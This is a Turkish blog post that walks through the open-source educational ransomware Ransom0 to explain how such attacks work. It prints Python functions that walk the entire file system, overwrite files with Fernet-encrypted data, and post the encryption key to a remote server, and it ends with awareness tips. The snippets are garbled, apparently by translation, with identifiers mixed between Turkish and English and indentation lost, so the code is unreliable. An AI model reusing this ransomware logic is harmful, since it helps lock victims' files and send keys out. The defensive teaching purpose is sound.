Bir saldırıyı anlamak için açık kaynaklı fidye yazılımı kodunu inceleyin

by admin
0 comment

Kurumunuzu fidye yazılımlardan korumak için perde arkasında neler olup bittiğini bilmek faydalı olacaktır. Saldırıları anlamak ve bunlara karşı savunmak için bu fidye yazılımı kod örneğini açın.

Fidye yazılımı, siber suçlular tarafından bir bilgisayarı ve verilerini rehin tutmak için kullanılan kötü amaçlı bir yazılımdır. Yazılım bilgisayarı ele geçirir ve dosyaları şifreler, saldırgan ise fidye ödendiğinde dosyaların şifresini çözmeyi vaat eder.

Bir fidye yazılımı saldırısında, saldırgan genellikle bir banka veya hizmet gibi davranan bir e-posta gönderir ve alıcıdan bir dosya indirmesini ister. Kurban sahte e-postaya kanar, dosyayı indirir ve farkında olmadan bilgisayarına fidye yazılımı bulaştırır.

Ardından, bilgisayar ekranları kişisel dosyalarının şifrelendiğini ve şifre çözme hizmeti için saldırgana ödeme yapmaktan başka bir yol olmadığını söyleyen bir mesajla kaplanır. Kurbandan dosyalarının şifresini çözmek için saldırgana ödeme göndermesi istenir, aksi takdirde dosyalar belirli sayıda gün içinde silinecektir.

Fidye yazılımı saldırıları, potansiyel olarak yıkıcı sonuçları nedeniyle son yıllarda kötü şöhret kazanmıştır ve fidye yazılımı mağdurları için maliyetler milyonlarca doları bulmaktadır. Fidye yazılımlarının ne kadar kolay yapıldığını görmek ve bir fidye yazılımı saldırısının iç işleyişini anlamak için bu örnek proje üzerinde çalışın.

Fidye yazılımı kodu
Bu fidye yazılımı örneği için, fidye yazılımının temel düzeyde nasıl çalıştığını gösteren eğitici bir açık kaynak projesi olan Ransom0’ı kullanacağız. Proje, C gibi fidye yazılımları için yaygın olarak kullanılan diğer dillere kıyasla basit sözdiziminin ilk bakışta okunması ve anlaşılması daha kolay olan bir dil olan Python’da yazılmıştır.

Ransom0 kurbanın bilgisayarındaki dosyaları bulur, bu dosyaları şifreler, uzak bir sunucuya benzersiz bir anahtar gönderir ve kullanıcının dosyaların şifresini çözmek için ödeme yapmasını bekler. Bu bir eğitim projesi olduğundan, program gerçek bir ödeme gerektirmez; kullanıcılar fidye yazılımı şifreledikten sonra dosyalarının şifresini çözebilir.

Aşağıdaki kod parçacıkları, gerçek saldırganların bu kötü niyetli eylemleri gerçekleştirmek için kullandıkları işlevleri açıklamaktadır. Örneğin, aşağıdaki FindFiles işlevi kurbanın bilgisayarındaki tüm dosyaları bulur.

def FindFiles(self):
f = open(“logs/path.txt”, “w”)
for root, dirs, files in os.walk(“/”):
# for root, dirs, files in os.walk(“YOUR/TESTING/DIRECTORY”):
if any(s in root for s in self.EXCLUDE_DIRECTORY):
pass
else:
for file in files:
if file.endswith(self.EXTENSIONS):
HEDEF = os.path.join(root, dosya)
f.write(HEDEF+’\n’)
print(kök)
f.close()
Bu işlev, programın bulunan tüm dosyaları kaydetmek için kullandığı path.txt metin dosyasını açar ve ardından os.walk() yöntemini çağırarak döndürülen üç demet – kök dizin, diğer dizinler ve dosyalar – üzerinde döner.

Kök dizin, diğer dizinler veya dosyalar hariç tutulan dizinler listesindeyse, yol bunları yok sayar. Aksi takdirde, her dosya path.txt dosyasına eklenir. Bu döngü tüm dosya sistemini dolaşana kadar devam eder.

path.txt dosyasında şifrelenecek dosyaların listesini oluşturmak bir sonraki adıma götürür: dosyaları şifrelemek.

def Encrypt(self, dosya adı):
f = Fernet(anahtar)
with open(dosyaadı, “rb”) as dosya:
file_data = file.read()
encrypted_data = f.encrypt(file_data)
with open(dosyaadı, “wb”) as dosya:
file.write(encrypted_data)
print(dosya adı)
Encrypt fonksiyonu path.txt dosyasından bir dosya adı alır ve dosyayı okur. Daha sonra bu dosyadaki verileri, gizli veya özel anahtar olarak da bilinen simetrik kimlik doğrulamalı şifrelemenin bir uygulaması olan Fernet’i kullanarak şifreler. İşlev daha sonra şifrelenmiş verileri dosyaya geri yazar. Dosyaları şifrelemek için kullanılan gizli anahtar olmadan, dosyaların şifresini makul bir süre içinde çözmek zordur.

Anahtarı rehin tutmak için SendData işlevi anahtarı ve diğer verileri kurban ödemeyi gönderene kadar saklamak üzere uzak bir sunucuya gönderir.

def SendData(decrypted):
şimdi = datetime.now()
date = now.strftime(“%d/%m/%Y %H:%M:%S”)
data = f'[{digits}, {key}, “{date}”, “{decrypted}”]’
requests.post(url, veri)
Şifre çözme anahtarı saldırganın elindeyken, saldırgan kurbanın dosyalarının şifresini çözecek anahtarı geri göndermek için fidye ödenene kadar bekler.

Bu örnek, kullanıcıya dosyalarının şifrelendiğini, ne kadar ödeme yapacağını ve ödemeyi nereye göndereceğini bildiren bir GUI oluşturmak için tkinter adlı bir Python paketi kullanır. Ayrıca, saldırgan ödemeyi aldıktan sonra kullanıcının dosyalarının şifresini çözmek için tıklayabileceği bir düğme de içerir.

Ransom0’a karşı gerçek bir fidye yazılımı saldırısı
Ransom0 projesi ile gerçek bir fidye yazılımı çalıştırılabilir dosyası arasında bazı belirgin farklar vardır. İlk olarak, gerçek fidye yazılımının kaynak kodu genellikle mevcut değildir; orijinal kodu bulmanın tek yolu çalıştırılabilir dosyayı derlemektir.

Buna ek olarak, gerçek fidye yazılımının kaynak kodu genellikle kodun okunmasını zorlaştırmak için özel olarak tasarlanmış araçlar tarafından gizlenir – bu nedenle, kodu çözdükten sonra bile elinizde yararlı bir şey kalmayabilir. Kötü niyetli aktörler kodlarını gizli tutmak ve tespit edilmekten mümkün olduğunca uzun süre kaçmak için ellerinden geleni yaparlar. Tespit edilmekten kaçınmak için fidye yazılımlarının sahip olabileceği harici bağlantılar için takip edilmesi zor URL’ler kullanmak gibi birçok başka yöntem kullanırlar.

Fidye yazılımlarından nasıl kaçınılır
Fidye yazılımları uzun yıllardır dünyanın dört bir yanındaki kurbanları etkilemektedir. Ne yazık ki, yukarıdaki örneğe benzer komut dosyaları veya yürütülebilir dosyaların kötü amaçlı yazılım koruma araçları tarafından tespit edilmesi zordur. Küçük değişiklikler, kötü amaçlı yazılım koruma araçlarının kullanabileceği herhangi bir parmak izi teknolojisini kolayca atlatabilir.

Kötü amaçlı yazılımları önlemenin en iyi yolu farkındalıktır. Bilinmeyen kaynaklardan dosya indirmeyin. Bir web sitesinde veya e-postada bir sorun varsa, şansınızı denemeyin. İçgüdülerinizi takip edin ve endişelerinizi doğrulamak için diğer güvenilir kaynakları kullanın.

You may also like

Leave a Comment